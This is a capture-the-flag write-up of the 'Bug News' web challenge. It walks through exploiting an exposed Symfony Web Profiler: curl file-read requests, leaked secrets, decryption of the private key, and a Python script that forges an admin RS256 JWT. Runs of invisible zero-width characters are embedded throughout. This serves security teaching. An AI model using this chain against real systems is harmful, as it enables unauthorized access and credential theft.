← Back to Writeups
HTBN/AWeb

Bug News

XESXOR8/23/20266 min read
#web#htb#n/a

Bug News

Platform: Bug Makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-29 | Status: Solved Techniques: draft_article_disclosure, encrypted_pem_decrypt_with_known_passphrase, profiler_open_file_read, relative_path_requirement, rs256_jwt_forgery

Summary

Task: Symfony 8 news portal accidentally left in DEV mode (APP_DEBUG=1) with the Web Profiler exposed; the flag lives in a draft article behind an admin-only RS256-JWT API. Solution: use /_profiler/open with a project-relative path for arbitrary file read, leak the encrypted JWT private key, decrypt it with JWT_PASSPHRASE from /_profiler/phpinfo, forge an admin RS256 token, and read the draft article.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: bug-makers | ID: 20260529_bug_makers_bug_news
  • Tags: jwt, information_disclosure, debug_mode, token_forgery, arbitrary_file_read, rs256, symfony, web_profiler, jwt_key_leak, lexik
  • Indicators: Symfony Web Profiler /_profiler/ accessible in production, APP_DEBUG=1 / APP_ENV=dev, /_profiler/open?file=&line= endpoint, /_profiler/phpinfo leaks JWT_PASSPHRASE and APP_SECRET, LexikJWTAuthenticationBundle with RS256 file-based keys
  • Source: 20260529_bug_makers_bug_news.md

Foothold

Vulnerability / Misconfiguration

  1. Draft_article_disclosure
  2. Encrypted_pem_decrypt_with_known_passphrase
  3. Profiler_open_file_read
  4. Relative_path_requirement
  5. Rs256_jwt_forgery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • draft_article_disclosure
  • encrypted_pem_decrypt_with_known_passphrase
  • profiler_open_file_read
  • relative_path_requirement
  • rs256_jwt_forgery
  • Tags: jwt, information_disclosure, debug_mode, token_forgery, arbitrary_file_read, rs256, symfony, web_profiler, jwt_key_leak, lexik

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Bug News — a Symfony news portal. Target: https://bug-news.t1.bug-makers.ru/

English summary: A Symfony 8.0.8 (PHP 8.4.20) news portal is accidentally running in DEV mode (APP_DEBUG=1, APP_ENV=dev) with the Symfony Web Profiler reachable in production. The flag is stored in an unpublished DRAFT article (id=2, is_published=0) that is only returned by the admin-only, JWT-protected endpoint GET /admin-api/articles. The challenge name "Bug News" and internal project name bug_pr0f1ler (leet for "profiler"), together with the flag text, point at the root cause: the Symfony Web Profiler was left enabled in production. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Recon / tech stack

  • PHP 8.4.20, Symfony 8.0.8, served by the PHP built-in dev server (php -S 0.0.0.0:8000 -t public).
  • LexikJWTAuthenticationBundle, RS256, file-based keypair generated via php bin/console lexik:jwt:generate-keypair.
  • SQLite DB at /var/www/bug_pr0f1ler_data/app.db (outside docroot).
  • App path: /var/www/bug_pr0f1ler.
  • Two firewalls: main (AdminUserProvider, no authenticators) and admin_api (JWT bearer).

Routes

  • GET /api/articles — public, hardcoded query returning only published articles.
  • POST /admin-api/login-check — JSON {username,password}{token}.
  • GET /admin-api/articles — JWT-protected, lists ALL articles including drafts.
  • /admin, /admin/login, /admin/articles — client-side JWT pages.
  • /health, /_profiler/ — the latter should not be public. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Root cause

Because APP_DEBUG=1, the Symfony Web Profiler routes are exposed. The critical one is:

GET /_profiler/open?file=<path>&line=<n>   ->   ARBITRARY FILE READ

The open action resolves $filename = $this->baseDir . '/' . $file, where baseDir is the Symfony project directory (/var/www/bug_pr0f1ler). It only blocks path segments containing a dot (preg_match("'(^|[/\\\\])\.'", $file)), which rejects ../ and dotfiles, and requires is_readable. The whole project tree is readable. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Critical gotcha: the file parameter MUST be a path RELATIVE to the project dir. Passing an ABSOLUTE path returns 404 — this initially looks like the endpoint is disabled, but it is just the relative-path requirement.

GET /_profiler/phpinfo is also accessible and leaks every env var:

APP_SECRET=fb3663aece0a99372694713f92f657f5
JWT_PASSPHRASE=fc27e19ba4aa4f34b1126d92f2f8c24a
ADMIN_API_ADMIN_LOGIN=admin
DATABASE_URL=sqlite:////var/www/bug_pr0f1ler_data/app.db

disable_functions and open_basedir are both empty. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

The winning chain: profiler arbitrary file read → leak encrypted JWT private key → decrypt with known passphrase → forge admin RS256 token → read draft article.

1. Confirm arbitrary file read (relative path!)

curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=src/Controller/SecurityController.php&line=40"

The response is an HTML page where source lines are rendered as <ol><li> items; parse them. An ABSOLUTE path here returns 404 — always use a project-relative path. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Locate the JWT keys

curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/packages/lexik_jwt_authentication.yaml&line=1"

Reveals:

lexik_jwt_authentication:
    secret_key: '%kernel.project_dir%/config/jwt/private.pem'
    public_key: '%kernel.project_dir%/config/jwt/public.pem'
    pass_phrase: '%env(JWT_PASSPHRASE)%'
    token_ttl: 86400

3. Read the encrypted private key

curl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/jwt/private.pem&line=1" \
  | python3 -c "import sys,re,html; print('\n'.join(html.unescape(re.sub('<[^>]+>','',l)) for l in sys.stdin.read().splitlines() if 'PRIVATE KEY' in l or l.strip().endswith('=') or len(l.strip())==64))"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

You get a -----BEGIN ENCRYPTED PRIVATE KEY----- PEM block. Save it as jwt_private.pem.

4. Decrypt the private key with the known passphrase

JWT_PASSPHRASE was leaked from /_profiler/phpinfo:

openssl pkey -in jwt_private.pem \
  -passin pass:fc27e19ba4aa4f34b1126d92f2f8c24a \
  -out jwt_private_dec.pem

5. Forge an admin RS256 JWT

The SecurityController builds the token from new InMemoryUser('admin', null, ['ROLE_ADMIN']), so Lexik emits claims username, roles, iat, exp. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

#!/usr/bin/env python3
import jwt, time   # pip install pyjwt

key = open('jwt_private_dec.pem').read()
now = int(time.time())
tok = jwt.encode(
    {"iat": now, "exp": now + 86400, "roles": ["ROLE_ADMIN"], "username": "admin"},
    key,
    algorithm="RS256",
)
print(tok)

6. Call the admin API with the forged token

TOK="<token from step 5>"
curl -s https://bug-news.t1.bug-makers.ru/admin-api/articles \
  -H "Authorization: Bearer $TOK"

The response includes draft article id=2 (isPublished:false) whose content is the flag: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BugCTF{REDACTED}

Supporting detail (secondary techniques)

Auth logic (read via profiler file-read)

$username = trim((string)($payload['username'] ?? ''));
$password = (string)($payload['password'] ?? '');
$expectedUsername = $_ENV['ADMIN_API_ADMIN_LOGIN'] ?? 'admin';
if ($username !== $expectedUsername
    || !$adminUserRepository->validateCredentials($expectedUsername, $password)) {
    return 'Invalid credentials.';
}
$user = new InMemoryUser($expectedUsername, null, ['ROLE_ADMIN']);
return new JsonResponse(['token' => $jwtTokenManager->create($user)]);

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

AdminUserRepository::validateCredentials compares the password via hash_equals against a PLAINTEXT value in admin_user (unless it starts with $2y$/$argon2, then password_verify). So login would also be crackable if the DB were readable, but the JWT-key-leak path is cleaner and intended.

Debug error pages as a secondary source-disclosure primitive

POSTing {"username":["x"],"password":"y"} with Accept: text/html to /admin-api/login-check triggers a PHP "Array to string conversion" warning, and Symfony renders a full HTML exception page with ~10 lines of highlighted source around the error line. It only reveals source near controllable error lines (capped around line 33), so /_profiler/open is strictly more powerful. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Entrypoint

docker/entrypoint.sh (read via file-read) runs lexik:jwt:generate-keypair --skip-if-exists then doctrine:migrations:migrate, confirming the keys are file-based and decryptable with JWT_PASSPHRASE.

Rabbit holes / failed approaches

  • JWT forgery before obtaining the key — HS256/384/512 over APP_SECRET & JWT_PASSPHRASE, EdDSA from passphrase-derived seeds, alg:none, malformed signatures: all cleanly rejected (RS256 with a real key required).
  • Brute-forcing the admin password (10k+ wordlist) — futile.
  • SQL injection in /api/articles — query is fully hardcoded; params ignored.
  • The ProfilerRequestFilterSubscriber cookie logic (main_deauth_profile_token / main_auth_profile_token, disabling profiling for /admin-api/*) — a decoy/rabbit-hole.
  • Profiler DB "explain" action — only ever runs EXPLAIN QUERY PLAN on the single hardcoded published-articles query.
  • Absolute paths in /_profiler/open — return 404; must use project-relative paths. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR